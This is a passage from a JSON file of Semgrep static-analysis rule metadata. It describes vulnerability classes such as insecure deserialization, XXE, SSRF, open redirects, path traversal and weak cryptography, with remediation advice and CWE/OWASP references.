protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","id":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","name":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"help":{"markdown":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","id":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","name":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - [https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse](https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","id":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","name":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"help":{"markdown":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","id":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","name":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf","id":"csharp.lang.security.ssrf.rest-client.ssrf","name":"csharp.lang.security.ssrf.rest-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.rest-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n - [https://www.npmjs.com/package/got](https://www.npmjs.com/package/got)\n - [https://www.npmjs.com/package/node-rest-client](https://www.npmjs.com/package/node-rest-client)\n","text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","id":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","name":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory](https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory)\n - [https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html](https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path","id":"java.spring.security.injection.tainted-file-path.tainted-file-path","name":"java.spring.security.injection.tainted-file-path.tainted-file-path","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-file-path.tainted-file-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using RSA without OAEP mode weakens the encryption."},"help":{"markdown":"Using RSA without OAEP mode weakens the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding)\n - [https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/](https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/)\n","text":"Using RSA without OAEP mode weakens the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","id":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","name":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe","id":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","name":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports 